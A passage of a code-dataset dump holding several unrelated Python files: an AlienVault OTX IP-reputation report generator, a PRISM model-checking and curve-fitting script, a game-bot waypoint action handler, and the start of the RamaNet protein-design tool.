updateInstance(self):\n global APIKeyIndex\n APIKeyIndex=(APIKeyIndex+1)%APIKeysNumber\n self.updateAPIKeyIndex()\n global APIKEY\n APIKEY = APIKeys[APIKeyIndex]\n global Instance\n Instance = OTXv2(APIKEY)\n #print(APIKEY)\n\n def getIPReportAPI(self):\n result={}\n with open(\"input_ip.txt\") as file:\n ips=file.read().strip()\n for ip in ips.split(\"\\n\"):\n response = Instance.get_indicator_details_full(IndicatorTypes.IPv4, ip)\n self.updateInstance()\n if 'error' not in response:\n result[ip]=response\n else:\n print(response)\n return result\n\n def formatGeolocation(self,ip_report_api,attr):\n result={\"Location\":ip_report_api[attr][\"city\"]+\", \"+ip_report_api[attr][\"country_name\"]+\" \",\"ASN/Owner\":ip_report_api[attr][\"asn\"]}\n return result\n\n def formatArrayDateDomain(self,ip_report_api,attr):\n result=[]\n count=MaxResults[attr] if MaxResults[attr] else -1\n for elem in list(ip_report_api[attr][attr]):\n if count==0:\n break\n if elem['hostname']==elem['address']:\n continue\n obj={'Date resolved':\"\", 'Domain':\"\"}\n obj['Date resolved']=elem['first']\n if elem['first']!=elem['last']:\n obj['Date resolved']=obj['Date resolved']+\" - \"+elem['last']\n obj['Domain']='['+elem['record_type']+'] '+elem['hostname']+''\n result.append(obj)\n count=count-1\n return result\n\n def formatArrayDateActivitySource(self,ip_report_api,attr):\n result=[]\n max=MaxResults[attr] if MaxResults[attr] else -1\n count=max\n for elem in list(ip_report_api[attr][attr]['activities']):\n if count==0:\n break\n obj={'Scanned':\"\",'Activity':\"\",'Finding':\"\",'Source':\"\"}\n obj['Scanned']=elem['first_date']\n if elem['first_date']!=elem['last_date']:\n obj['Scanned']=obj['Scanned']+\" - \"+elem['last_date']\n obj['Activity']=elem['name']\n obj['Finding']=elem['data_key']\n obj['Source']=elem['source']\n result.append(obj)\n count=count-1\n return result\n\n def formatArrayDateHashScore(self,ip_report_api,attr):\n result=[]\n max=MaxResults[attr] if MaxResults[attr] else -1\n count=max\n for elem in list(ip_report_api[attr]['data']):\n if count==0:\n break\n obj={'Scanned':\"\",'File Hash (SHA256)':\"\",'Detections':\"\"}\n obj['Scanned']=datetime.utcfromtimestamp(elem['datetime_int']).strftime('%Y-%m-%d %H:%M:%S')\n obj['File Hash (SHA256)']=''+elem['hash']+''\n for detection in list(elem['detections']):\n if elem['detections'][detection]:\n if obj['Detections']:\n obj['Detections']=obj['Detections']+\", \"\n obj['Detections']=obj['Detections']+'['+detection+'] '+elem['detections'][detection]+\"\"\n result.append(obj)\n count=count-1\n return result\n\n def formatArrayDateURLStatus(self,ip_report_api,attr):\n result=[]\n max=MaxResults[attr] if MaxResults[attr] else -1\n count=max\n has_next=ip_report_api[attr]['has_next']\n page=0\n for elem in list(ip_report_api[attr][attr]):\n if count==0:\n break\n obj={'Scanned':\"\", 'URL':\"\",'HTTP Response':\"\"}\n obj['Scanned']=elem['date']\n obj['URL']=''+elem['url']+''\n obj['HTTP Response']=str(elem['httpcode']) if 'httpcode' in elem and elem['httpcode']>0 else 'Connection Error'\n result.append(obj)\n count=count-1\n return result\n\n def formatArrayPulse(self,ip_report_api,attr):\n result=[]\n max=MaxResults[attr] if MaxResults[attr] else -1\n count=max\n for elem in list(ip_report_api[attr][\"pulse_info\"][\"pulses\"]):\n if count==0:\n break\n obj={'Created/Modified':\"\", 'Title':\"\",'Description':\"\",'Tags':\"\",'HTML_Template':\"\"}\n obj['Created/Modified']=(\"[Created]\" if elem['is_modified']==True else \"[Modified]\")+\" \"+elem['modified']\n obj['Title']=\"\"+elem['name']+\"\"\n obj['Description']=elem['description']\n obj['Tags']=elem['tags']\n obj['References']=elem['references']\n obj['HTML_Template']=\"

    \"+obj['Title']+\"

    \"+obj['Created/Modified']+\"

    \"+obj['Description']+\"

    \"\n if len(obj['References'])>0:\n obj['HTML_Template']=obj['HTML_Template']+\"

    References: \"+\", \".join(obj['References'])+\"

    \"\n if len(obj['Tags'])>0:\n obj['HTML_Template']=obj['HTML_Template']+\"

    Tags: \"+\", \".join(obj['Tags'])+\"

    \"\n obj['HTML_Template']=obj['HTML_Template']+\"
    \"\n result.append(obj)\n count=count-1\n return result\n\n def getIPReportFiltered(self,ip_report_api):\n result={}\n for attr in list(ip_report_api):\n if(attr in DisabledAttr):\n None\n elif attr=='geo':\n newAttr=AttrSubstitution[attr] if attr in AttrSubstitution else attr\n result[newAttr]=self.formatGeolocation(ip_report_api,attr)\n elif attr=='passive_dns':\n if ip_report_api[attr] and ip_report_api[attr][attr]:\n newAttr=AttrSubstitution[attr] if attr in AttrSubstitution else attr\n self.history[newAttr]=ip_report_api[attr]['count']\n result[newAttr]=self.formatArrayDateDomain(ip_report_api,attr)\n elif attr=='reputation':\n if ip_report_api[attr] and ip_report_api[attr][attr] and ip_report_api[attr][attr]['activities']:\n newAttr=AttrSubstitution[attr] if attr in AttrSubstitution else attr\n self.history[newAttr]=len(ip_report_api[attr][attr]['activities'])\n result[newAttr]=self.formatArrayDateActivitySource(ip_report_api,attr)\n elif attr=='malware':\n if ip_report_api[attr] and ip_report_api[attr]['data']:\n newAttr=AttrSubstitution[attr] if attr in AttrSubstitution else attr\n self.history[newAttr]=ip_report_api[attr]['size']\n result[newAttr]=self.formatArrayDateHashScore(ip_report_api,attr)\n elif attr=='url_list':\n if ip_report_api[attr] and ip_report_api[attr][attr]:\n newAttr=AttrSubstitution[attr] if attr in AttrSubstitution else attr\n self.history[newAttr]=ip_report_api[attr]['full_size']\n result[newAttr]=self.formatArrayDateURLStatus(ip_report_api,attr)\n elif attr=='general':\n if ip_report_api[attr] and ip_report_api[attr][\"pulse_info\"] and ip_report_api[attr][\"pulse_info\"][\"pulses\"]:\n newAttr=AttrSubstitution[attr] if attr in AttrSubstitution else attr\n self.history[newAttr]=ip_report_api[attr]['pulse_info']['count']\n result[newAttr]=self.formatArrayPulse(ip_report_api,attr)\n else:\n result[attr]=ip_report_api[attr]\n return result\n\n def getOrdered(self,ip_report_filtered):\n result={}\n #We order the Order's elements in the begining of the result list\n for elem in Order:\n #If the substitued element index exists in the Order list, then it should be ordered\n if elem in AttrSubstitution and AttrSubstitution[elem] and AttrSubstitution[elem] in ip_report_filtered and ip_report_filtered[AttrSubstitution[elem]]:\n #Ordered elements should not duplicated\n if AttrSubstitution[elem] not in result:\n result[AttrSubstitution[elem]]=ip_report_filtered[AttrSubstitution[elem]]\n #If the index is not substitutable and if the index exists in the Order list, then it should be ordered\n elif elem in ip_report_filtered and ip_report_filtered[elem]:\n #Ordered elements should not duplicated\n if elem not in result:\n result[elem]=ip_report_filtered[elem]\n #Then, we add the non ordered elements since they are not blacklisted so of the Order list is missing some elements, they will be added in the end of the result list\n for attr in list(ip_report_filtered):\n #Ordered elements should not duplicated\n if attr not in result:\n result[attr]=ip_report_filtered[attr]\n return result\n\n def getHTML(self,ip_report_filtered,ip):\n html=\"\"\n html=html+\"

    IP Address: \"+ip+\"

    \"\n for elem in list(ip_report_filtered):\n html=html+\"

    \"+elem+\"

    \"\n if elem in self.number and self.number[elem]:\n malicious=self.number[elem][\"malicious\"] if \"malicious\" in self.number[elem] else 0\n benign=self.number[elem][\"benign\"] if \"benign\" in self.number[elem] else 0\n html=html+\"
    (\"+str(malicious)+\" malicious and \"+str(benign)+\" benign)
    \"\n if elem in self.history and self.history[elem]:\n history=self.history[elem]\n html=html+\"
    (\"+str(history)+\" found)
    \"\n if isinstance(ip_report_filtered[elem],list) and len(ip_report_filtered[elem])>0 and isinstance(ip_report_filtered[elem][0],dict) and 'HTML_Template' in ip_report_filtered[elem][0]:\n for html_elem in ip_report_filtered[elem]:\n html=html+html_elem['HTML_Template']\n else:\n html=html+json2html.convert(json = ip_report_filtered[elem], table_attributes='class=\"'+TablesClass+'\"',escape=False)\n self.HTML=self.HTML+html\n html=''+HTMLHeader+''+html\n html=html+''\n output=OutputDir+\"/\"\n imgkit.from_string(html, output+ip+'-AlienVault-OTX.jpg')\n with open(output+ip+'-AlienVault-OTX.html', 'w') as HTMLFile:\n HTMLFile.write(html)\n self.IMG=self.IMG+\"
    \"\n\n def updateGeneralHTML(self):\n HTMLPrefix=''+HTMLHeader+''\n self.HTML=HTMLPrefix+self.HTML+''\n self.IMG=HTMLPrefix+self.IMG+''\n output=OutputDir+\"/\"\n with open(output+'latest-HTML-AlienVault-OTX.html', 'w') as HTMLFile:\n HTMLFile.write(self.HTML)\n with open(output+'latest-IMG-AlienVault-OTX.html', 'w') as HTMLFile:\n HTMLFile.write(self.IMG)\n\ndef main():\n instance=AlienVault_OTX()\n instance.init()\n ips_report_api=instance.getIPReportAPI()\n results=[]\n for ip_report_api in list(ips_report_api):\n instance.preHandling()\n ip_report_filtered=instance.getIPReportFiltered(ips_report_api[ip_report_api])\n if len(Order)>0:\n ip_report_filtered=instance.getOrdered(ip_report_filtered)\n instance.getHTML(ip_report_filtered,ip_report_api)\n instance.updateGeneralHTML()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"AlienVault-OTX.py","file_name":"AlienVault-OTX.py","file_ext":"py","file_size_in_byte":13203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"68320844","text":"import csv\nimport math\nimport numpy.polynomial # Need to import\nfrom scipy.optimize import brentq # Need to import\nimport os.path\nimport subprocess\nimport matplotlib.pyplot as plt # Need to import\nfrom datetime import datetime\n\n# Normal distribution is given by:\n# 1 -((x-u)^2)/(2s^2)\n# y = -----------e\n# s*sqrt(2pi)\n# Where s is the standard deviation of the curve and m is the mean\n#\n# We will fit each time to a normal distribution dependent on concentration\n#\n# Linearized:\n# 1 (x-u)^2\n# ln(y) = -----------(-------)\n# s*sqrt(2pi) 2s^2\n#\n# And we can use quadratic regression:\n\n# C - list of concentrations\n# P - list of probabilities at those concentrations\ndef fit_to_dist(c, p, vfind):\n c = [float(i) for i in c]\n p = [float(i) for i in p]\n sum = p[len(p)-1]\n for i in range(len(p) - 2, -1, -1):\n p[i] -= sum\n sum += p[i]\n for i in range(len(p)-1, -1, -1): # Linearize data\n if p[i] <= 0:\n p.pop(i)\n c.pop(i)\n elif p[i] >= 1:\n return c[i], 0, 0\n else:\n p[i] = math.log(p[i])\n if len(c) == 2:\n if c[1] > c[0]:\n if vfind:\n return c[1], 0, 0\n else:\n return c[1]\n else:\n if vfind:\n return c[0], 0, 0\n else:\n return c[0]\n if len(c) == 1:\n if vfind:\n return c[0], 0, 0\n else:\n return c[0]\n if len(c) == 0:\n print(\"Not enough data to fit to a quadratic\")\n return False, False, False # Not enough data to fit to a quadratic\n\n coeff = numpy.polyfit(c, p, 2) # Fit linearized data to a quadratic\n if (coeff[2] > 0 and coeff[0] < 0) or (coeff[2] < 0 and coeff[0] > 0):\n return 0, 0, 0\n u = math.sqrt(coeff[2]/coeff[0])\n\n if vfind is True: # Calculate standard deviation and r squared\n ndistfunc = lambda x: (math.log(x*math.sqrt(2*math.pi)))/(2*x)\n s = brentq(ndistfunc, 0.00000000000000000001, 1)\n\n # r-squared:\n pol = numpy.poly1d(coeff)\n phat = pol(c) # or [p(z) for z in x]\n pbar = numpy.sum(p)/len(p) # or sum(y)/len(y)\n ssreg = numpy.sum((phat-pbar)**2) # or sum([ (yihat - ybar)**2 for yihat in yhat])\n sstot = numpy.sum((p - pbar)**2) # or sum([ (yi - ybar)**2 for yi in y])\n rsqrd = (ssreg/sstot)\n\n return u, s, rsqrd#, coeff\n\n return u\n\n'''\nfit_to_dist test code:\ntemp_c = [0, 0.5, 1, 1.5, 1.75, 2.15, 2.5, 3, 3.5, 4]\n# temp_p = [0.00026766, 0.0088637, 0.10798193, 0.48394145, 0.7413065, 0.7413065, 0.48394145, 0.10798193, 0.0088637, 0.00026766]\ntemp_p = [0.00026766+0.0088637+0.10798193+0.48394145+0.7413065+0.7413065+0.48394145+0.10798193+0.0088637+0.00026766, 0.0088637+0.10798193+0.48394145+0.7413065+0.7413065+0.48394145+0.10798193+0.0088637+0.00026766, 0.10798193+0.48394145+0.7413065+0.7413065+0.48394145+0.10798193+0.0088637+0.00026766, 0.48394145+0.7413065+0.7413065+0.48394145+0.10798193+0.0088637+0.00026766, 0.7413065+0.7413065+0.48394145+0.10798193+0.0088637+0.00026766, 0.7413065+0.48394145+0.10798193+0.0088637+0.00026766, 0.48394145+0.10798193+0.0088637+0.00026766, 0.10798193+0.0088637+0.00026766, 0.0088637+0.00026766, 0.00026766]\nprint(fit_to_dist(temp_c, temp_p, True))\n'''\n\nprint(\"This script has the capability of doing any of three things:\\n\" +\n \"1. Analyze a prism model with model checking or simulation and export the model checking results into a readable, concise output\\n\" +\n \"2. Build a properties model based on concentration steps at different time intervals\\n\" +\n \"3. Fit concentration data at different timepoints to a normal distribution, building a graph of most probable concentration over time\")\nrunnumber = datetime.now().strftime(\"%m%d%Y-%H%M%S\")\nprint(\"This run is number \" + runnumber + \".\\n\")\n# dir = input(\"Path to the prism directory: \")\n# print(\"Path to the prism directory: C:/Program Files/prism-4.5/bin\")\n# dir = \"C:/Program Files/prism-4.5/bin\"\nrunb = \"\"\nwhile runb.lower() != \"y\" and runb.lower() != \"n\":\n runb = input(\"Run a PRISM model? (y/n) \")\nif runb.lower() == \"y\":\n runb = True\nelse:\n runb = False\nif runb:\n model = input(\"Name of the PRISM model (.sm) to run: \")\n # prop = input(\"Name of the property file (.csl) to run: \")\n output_directory = input(\"(Optional) Name of the directory to write to: \")\n if len(output_directory) != 0 and (output_directory[-1] != '/' or output_directory[-1] != '\\\\'):\n output_directory += \"/\"\n sorm = \"\"\n while sorm.lower() != \"s\" and sorm.lower() != \"m\":\n sorm = input(\"Enter an m to check the model, or s if the model is a simulation: \")\n if sorm.lower() == \"s\":\n simn = input(\"(Optional) Number of simulations to run: \")\n catch_str_start = \"Simulating: P=? [ F[0,\"\n catch_str_end = \"\\n\"\n else:\n catch_str_start = \"Model checking: P=? [ F[0,\"\n catch_str_end = \" (value\"\n memory = input(\"(Optional) Enter the amount of memory to use for the model: \")\n\n propb = \"\"\n while propb.lower() != \"y\" and propb.lower() != \"n\":\n propb = input(\"Create new properties file? (y/n) \")\n if propb == \"y\":\n tmax = int(input(\"Final time: \"))\n dt = int(input(\"Time step to check: \"))\n varname = input(\"Variable to check: \")\n\n varn = 0\n propname = output_directory + \"prop\" + runnumber + \".csl\"\n props = open(propname, \"w+\")\n while varname != \"\":\n varn += 1\n cmax = int(input(\"Maximum concentration to check for \" + varname + \": \"))\n dc = int(input(\"Concentration step to check for \" + varname + \": \"))\n for t in range(0, tmax, dt):\n for c in range(0, cmax, dc):\n props.write(\"P=?[F[0,\" + str(t+dt) + \"] (\" + varname + \">=\" + str(c) + \" & \" + varname + \"<\" + str(c + dc) + \")]\\n\")\n varname = input(\"Variable to check (press enter when finished): \")\n props.close()\n\n print(\"Created properties file of size \" + str(os.path.getsize(propname)/1000) + \"kb as prop\" + runnumber + \".csl\")\n else:\n propname = input(\"Name of properties file to run (.csl): \")\n\n print(\"\\nPRISM is running the model...\\n\")\n prism_input =\"prism\"\n if sorm == \"s\":\n if simn is None or simn == \"\":\n prism_input += \" -sim\"\n else:\n prism_input += (\" -sim -simsamples \" + simn)\n prism_input += (\" \" + model + \" \" + propname)\n if memory != \"\":\n prism_input += (\" -cuddmaxmem \" + memory)\n '''\n # print(prism_input)\n prism_output = subprocess.check_output(prism_input, universal_newlines=True, shell=True)\n # print(prism_output)\n '''\n prism_output = \"\"\n process = subprocess.Popen(prism_input, stdout=subprocess.PIPE, universal_newlines=True, shell=True)\n while True:\n output = process.stdout.readline()\n if process.poll() is not None and output == '':\n break\n if output:\n print(\">>> \" + output.strip())\n prism_output += output\n retval = process.poll()\n\n concise_output = \"time\\tconcentration\\tprobability\\n\"\n i = 0\n varname = \"\"\n\n while prism_output.find(catch_str_start, i + 1) >= 0:\n ii = prism_output.find('] (', i + 1) + 3\n jj = prism_output.find('>=', i)\n if varname != prism_output[ii:jj]:\n varname = prism_output[ii:jj]\n concise_output += \"variable: \" + varname + \"\\n\"\n i = prism_output.find(catch_str_start, i + 1) + len(catch_str_start)\n j = prism_output.find('] (', i)\n concise_output += prism_output[i:j] + \"\\t\"\n i = prism_output.find('>=', i + 1)+2\n j = prism_output.find('&', i)\n concise_output += prism_output[i:j] + \"\\t\"\n i = prism_output.find('Result: ', i + 1)+8\n j = prism_output.find(catch_str_end, i)\n concise_output += prism_output[i:j] + \"\\n\"\n # if sorm != 's': concise_output += \"\\n\"\n\n concise_output += '\\n\\n\\n\\n\\nRAW OUTPUT:\\n\\n\\n' + prism_output\n\n with open(output_directory+\"prismrun\"+runnumber+\".txt\", 'w+') as file:\n file.write(concise_output)\n\n analyze = input(\"Model successfully ran with output \" + output_directory + \"prismrun\" + runnumber + \".txt\\n\" +\n \"Analyze data as normal distribution concentration data? (y/n) \")\n\n if analyze != \"y\":\n raise SystemExit(0)\n\n modelname = output_directory+\"prismrun\"+runnumber+\".txt\"\n\nelse:\n modelname = input(\"Name of previous model run to analyze: \")\n output_directory = input(\"(Optional) Name of the directory to write to: \")\n if len(output_directory) != 0 and (output_directory[-1] != '/' or output_directory[-1] != '\\\\'):\n output_directory += \"/\"\n\nstatb = ''\nwhile statb != 'y' and statb != 'n':\n statb = input(\"Include statistical analysis with each data point? (y/n) \")\nif statb == 'n':\n statb = False\nelse:\n statb = True\n\ngraphb = ''\nwhile graphb != 'y' and graphb != 'n':\n graphb = input(\"Plot data? (y/n) \")\nif graphb == 'n':\n graphb = False\nelse:\n graphb = True\n graphx = []\n graphy = []\n\ndata = list(csv.reader(open(modelname, 'r+'), delimiter='\\t'))\n#data = list(csv.reader(open(\"testrunoutput.txt\", 'r+'), delimiter='\\t'))\ndlistc = [0]\ndlistp = [0]\ntime = \"-1\"\nvarname = \"\"\nnewvarname = \"\"\nheader = True\ni = 0\nresveratrolx = []\nresveratroly = []\n\nplt.figure()\n\nif statb:\n print(\"var\\ttime\\tmean\\tstdev\\trsqared\")\n processed_output = \"var\\ttime\\tmean\\tstdev\\trsqared\\n\"\nelse:\n print(\"var\\ttime\\tconcentration\")\n processed_output = \"var\\ttime\\tconcentration\\n\"\n\nfor line in data:\n #print(line)\n if header:\n if len(line) == 0 or line[0] == 'time':\n continue\n elif len(line) == 1:\n varname = line[0][line[0].find(\"variable: \") + 10:]\n newvarname = line[0][line[0].find(\"variable: \") + 10:]\n # print(\"variable: \" + varname)\n else:\n time = line[0]\n dlistc = [line[1]]\n dlistp = [line[2]]\n header = False\n if len(line) == 3:\n if line[0] != time: # new time set, process the old data\n # print(\"Finished time set at \" + time + \":\\n\" + str(dlistc) + \"\\n\" + str(dlistp))\n if statb:\n u, s, r = fit_to_dist(dlistc, dlistp, statb)\n if u == False:\n print(varname + \"\\t\" + time + \"\\tN\\tN\\tN\\tNot enough data at timepoint to fit to normal distribution\")\n processed_output += varname + \"\\t\" + time + \"\\tN\\tN\\tN\\tNot enough data at timepoint to fit to normal distribution\\n\"\n else:\n print(varname + \"\\t\" + time + \"\\t\" + str(u) + \"\\t\" + str(s) + \"\\t\" + str(r))\n processed_output += varname + \"\\t\" + time + \"\\t\" + str(u) + \"\\t\" + str(s) + \"\\t\" + str(r) + \"\\n\"\n else:\n u = fit_to_dist(dlistc, dlistp, statb)\n if u == False:\n print(varname + \"\\t\" + time + \"\\tN\\tNot enough data at timepoint to fit to normal distribution\")\n processed_output += varname + \"\\t\" + time + \"\\tN\\tNot enough data at timepoint to fit to normal distribution\\n\"\n else:\n print(varname + \"\\t\" + time + \"\\t\" + str(u))\n processed_output += varname + \"\\t\" + time + \"\\t\" + str(u) + \"\\n\"\n if graphb:\n graphx.append(float(time))\n graphy.append(u)\n if varname != newvarname:\n plt.plot(graphx, graphy, c=numpy.random.rand(3, ), label=varname)\n if varname == \"resveratrol\":\n resveratrolx = list(graphx)\n resveratroly = list(graphy)\n graphx.clear()\n graphy.clear()\n i += 1\n varname = newvarname\n time = line[0]\n dlistc = [line[1]]\n dlistp = [line[2]]\n else:\n dlistc.append(line[1])\n dlistp.append(line[2])\n else:\n if len(line) == 0:\n continue\n elif line[0] == 'RAW OUTPUT:':\n if statb:\n u, s, r = fit_to_dist(dlistc, dlistp, statb)\n if u == False:\n print(\n varname + \"\\t\" + time + \"\\tN\\tN\\tN\\tNot enough data at timepoint to fit to normal distribution\")\n processed_output += varname + \"\\t\" + time + \"\\tN\\tN\\tN\\tNot enough data at timepoint to fit to normal distribution\\n\"\n else:\n print(varname + \"\\t\" + time + \"\\t\" + str(u) + \"\\t\" + str(s) + \"\\t\" + str(r))\n processed_output += varname + \"\\t\" + time + \"\\t\" + str(u) + \"\\t\" + str(s) + \"\\t\" + str(r) + \"\\n\"\n else:\n u = fit_to_dist(dlistc, dlistp, statb)\n if u == False:\n print(varname + \"\\t\" + time + \"\\tN\\tNot enough data at timepoint to fit to normal distribution\")\n processed_output += varname + \"\\t\" + time + \"\\tN\\tNot enough data at timepoint to fit to normal distribution\\n\"\n else:\n print(varname + \"\\t\" + time + \"\\t\" + str(u))\n processed_output += varname + \"\\t\" + time + \"\\t\" + str(u) + \"\\n\"\n if graphb:\n graphx.append(float(time))\n graphy.append(u)\n if varname != newvarname:\n plt.plot(graphx, graphy, c=numpy.random.rand(3, ), label=varname)\n if varname == \"resveratrol\":\n resveratrolx = graphx\n resveratroly = graphy\n graphx.clear()\n graphy.clear()\n i += 1\n varname = newvarname\n plt.plot(graphx, graphy, c=numpy.random.rand(3, ), label=varname)\n if varname == \"resveratrol\":\n resveratrolx = graphx\n resveratroly = graphy\n break\n elif line[0].find(\"variable: \", 0) >= 0:\n newvarname = line[0][line[0].find(\"variable: \")+10:]\n # print(\"variable: \" + varname)\n\nwith open(output_directory+\"analysis\"+runnumber+\".txt\", 'w+') as file:\n file.write(processed_output)\nprint(\"Analysis saved to analysis\"+runnumber+\".txt\")\n\nif graphb:\n plt.ylabel(\"Concentration (uM)\")\n plt.xlabel(\"Time (s)\")\n plt.legend()\n\n if not resveratrolx:\n plt.show()\n plt.savefig(\"plot\" + runnumber + \".png\")\n print(\"Plot saved to plot\"+runnumber+\".txt\")\n else:\n plt.show(block=False)\n plt.savefig(\"intracellular\" + runnumber + \".png\")\n print(\"Plot saved to intracellular\"+runnumber+\".txt\")\n plt.figure()\n resveratroly = [(i*0.0006*228.25)/1000 for i in resveratroly]\n plt.plot(resveratrolx, resveratroly, c=numpy.random.rand(3, ), label = \"Resveratrol Yield\")\n plt.ylabel(\"Resveratrol Yield (mg)\")\n plt.xlabel(\"Time (s)\")\n plt.legend()\n plt.show()\n plt.savefig(\"resveratrol\" + runnumber + \".png\")\n print(\"Plot saved to resveratrol\"+runnumber+\".txt\")\n","sub_path":"old-s21/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":15197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"490502150","text":"#Load Custom functions\r\nimport sys\r\nsys.path.append('../scripts/')\r\nfrom lib import *\r\n\r\ndef waypoint_action(client, action):\r\n\r\n if action == \"start\":\r\n print('Bot started')\r\n\r\n # City and Refill\r\n elif action == \"bank\":\r\n client.npc_say(['deposit all', 'yes'])\r\n\r\n elif action == \"sell\":\r\n client.sell_all_to_npc()\r\n\r\n elif action == \"deposit\":\r\n client.reach_locker()\r\n deposit_all_from_backpack_to_depot(client, client.container_conf['loot_bp'], 2)\r\n\r\n elif action == \"refill\":\r\n if not withdraw_item_from_stash(client, 'brown mushroom', 100, 11): \r\n print('Not enough mushrooms')\r\n\r\n elif action == \"travel_east\":\r\n client.npc_say(['east', 'yes'])\r\n\r\n elif action == \"travel_center\":\r\n client.npc_say(['center', 'yes'])\r\n\r\n elif action == \"check_task\":\r\n if not client.script_options['get_task']:\r\n client.jump_label('skip_task')\r\n\r\n elif action == \"get_task\":\r\n client.npc_say(['task', 'tarantula', 'yes'])\r\n\r\n elif action == \"buy_potions\":\r\n npc_refill(client, mana=True, health=True)\r\n\r\n elif action == \"check_supplies\":\r\n check_supplies(client, logout_fail=True)\r\n\r\n elif action == \"check\":\r\n check_hunt(client, 'hunt', 'leave', time=True)\r\n\r\n elif action == \"check_time\":\r\n check_time(client, 'train', 'start')\r\n\r\n elif action == \"check_train\":\r\n client.jump_label(client.script_options['skill_train'])\r\n\r\n elif action == \"end\":\r\n sleep(4)\r\n client.logout()\r\n else:\r\n print('Action', action, 'is not defined')\r\n","sub_path":"tarantula_cave/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"319734323","text":"#!/usr/bin/ python3\n\nprint('''\\x1b[32m\n██████╗ █████╗ ███╗ ███╗ █████╗ ███╗ ██╗███████╗████████╗\n██╔══██╗██╔══██╗████╗ ████║██╔══██╗████╗ ██║██╔════╝╚══██╔══╝\n██████╔╝███████║██╔████╔██║███████║██╔██╗ ██║█████╗ ██║\n██╔══██╗██╔══██║██║╚██╔╝██║██╔══██║██║╚██╗██║██╔══╝ ██║\n██║ ██║██║ ██║██║ ╚═╝ ██║██║ ██║██║ ╚████║███████╗ ██║\n╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝\\x1b[35m\n╔╦╗┌─┐ ┌┐┌┌─┐┬ ┬┌─┐ ╔═╗┬─┐┌─┐┌┬┐┌─┐┬┌┐┌ ╔╦╗┌─┐┌─┐┬┌─┐┌┐┌\n ║║├┤ ││││ │└┐┌┘│ │ ╠═╝├┬┘│ │ │ ├┤ ││││ ║║├┤ └─┐││ ┬│││\n═╩╝└─┘ ┘└┘└─┘ └┘ └─┘ ╩ ┴└─└─┘ ┴ └─┘┴┘└┘ ═╩╝└─┘└─┘┴└─┘┘└┘\n\\u001b[31mAuthors: \\x1b[33mSari Sabban and Mikhail Markovsky\n\\u001b[31mDate: \\x1b[33m31-May-2017\n\\u001b[31mCorrespondace: \\x1b[33msari.sabban@gmail.com\n\\u001b[31mURL: \\x1b[33mhttps://sarisabban.github.io/RamaNet\n\\x1b[36m---------------------------------------------------------\\x1b[0m''')\n\nimport os\nimport re\nimport sys\nimport h5py\nimport time\nimport glob\nimport math\nimport tqdm\nimport gzip\nimport keras\nimport sklearn\nimport Bio.PDB\nimport datetime\nimport warnings\nimport argparse\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom pyrosetta import *\nfrom pyrosetta.toolbox import *\nfrom keras.optimizers import Adam\nfrom keras.models import Sequential, Model\nfrom keras.losses import BinaryCrossentropy\nfrom keras.layers.convolutional import Conv2D\nfrom keras.layers import Activation, ZeroPadding2D\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.layers import Input, Dense, Reshape, Flatten\nfrom keras.layers import UpSampling2D, BatchNormalization\nfrom keras.layers import Dropout, GlobalMaxPooling2D, Conv2DTranspose\n\n# Silence Tensorflow, Keras, and initialise PyRosetta\ndef warn(*args, **kwargs): pass\nwarnings.warn = warn\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\ninit('-out:level 0')\nprint('\\x1b[36m--------------------------------------------------------\\x1b[0m')\n\n# Setup arguments\nparser = argparse.ArgumentParser(description='De Novo Protein Design Neural Network')\nparser.add_argument('-db', '--DatasetBack', nargs='+', metavar='', help='Build the Backbone dataset')\nparser.add_argument('-df', '--DatasetFrag', nargs='+', metavar='', help='Build the Fragment dataset')\nparser.add_argument('-ds', '--DatasetSeq' , nargs='+', metavar='', help='Build the Sequence dataset')\nparser.add_argument('-tb', '--TrainBack' , action='store_true' , help='Train the Backbone neural network')\nparser.add_argument('-tf', '--TrainFrag' , action='store_true' , help='Train the Fragment neural network')\nparser.add_argument('-ts', '--TrainSeq' , action='store_true' , help='Train the Sequence neural network')\n\nargs = parser.parse_args()\n\nclass Dataset():\n\t''' Build a machine learning dataset of protein structures '''\n\tdef Database(self, TempDIR, FinalDIR):\n\t\t'''\n\t\tDownloads the entire PDB database from https://www.wwpdb.org/\n\t\tmoves all files into one directory, then uncompresses all the files\n\t\tGenerates a directory which contains all .PDB structure files\n\t\t'''\n\t\tprint('\\x1b[33m[.] Downloading PDB database...\\x1b[0m')\n\t\tweb = 'rsync.wwpdb.org::ftp/data/structures/divided/pdb/'\n\t\tos.system('rsync -rlpt -q -v -z --delete --port=33444 {} {}'\n\t\t.format(web, TempDIR))\n\t\tprint('\\x1b[32m[+] Download complete\\x1b[0m')\n\t\tos.mkdir(FinalDIR)\n\t\tfilelist = os.listdir(TempDIR)\n\t\tprint('\\x1b[33m[.] Moving files...\\x1b[0m')\n\t\tfor directories in tqdm.tqdm(filelist):\n\t\t\tfiles = os.listdir('{}/{}'.format(TempDIR, directories))\n\t\t\tfor afile in files:\n\t\t\t\tlocation = ('{}/{}/{}'.format(TempDIR, directories, afile))\n\t\t\t\tos.rename(location, '{}/{}'.format(FinalDIR, afile))\n\t\tos.system('rm -r ./{}'.format(TempDIR))\n\tdef Extract(self, directory):\n\t\t'''\n\t\tExtracts all the .ent.gz files and separate all chains and save them\n\t\tinto seperate .pdb files. Replaces each .ent.gz file with the .pdb\n\t\tfile of each chain\n\t\t'''\n\t\tprint('\\x1b[33m[.] Extracting files...\\x1b[0m')\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tio = Bio.PDB.PDBIO()\n\t\tos.chdir(directory)\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\ttry:\n\t\t\t\tTheName = TheFile.split('.')[0].split('pdb')[1].upper()\n\t\t\t\tInFile = gzip.open(TheFile, 'rt')\n\t\t\t\tstructure = 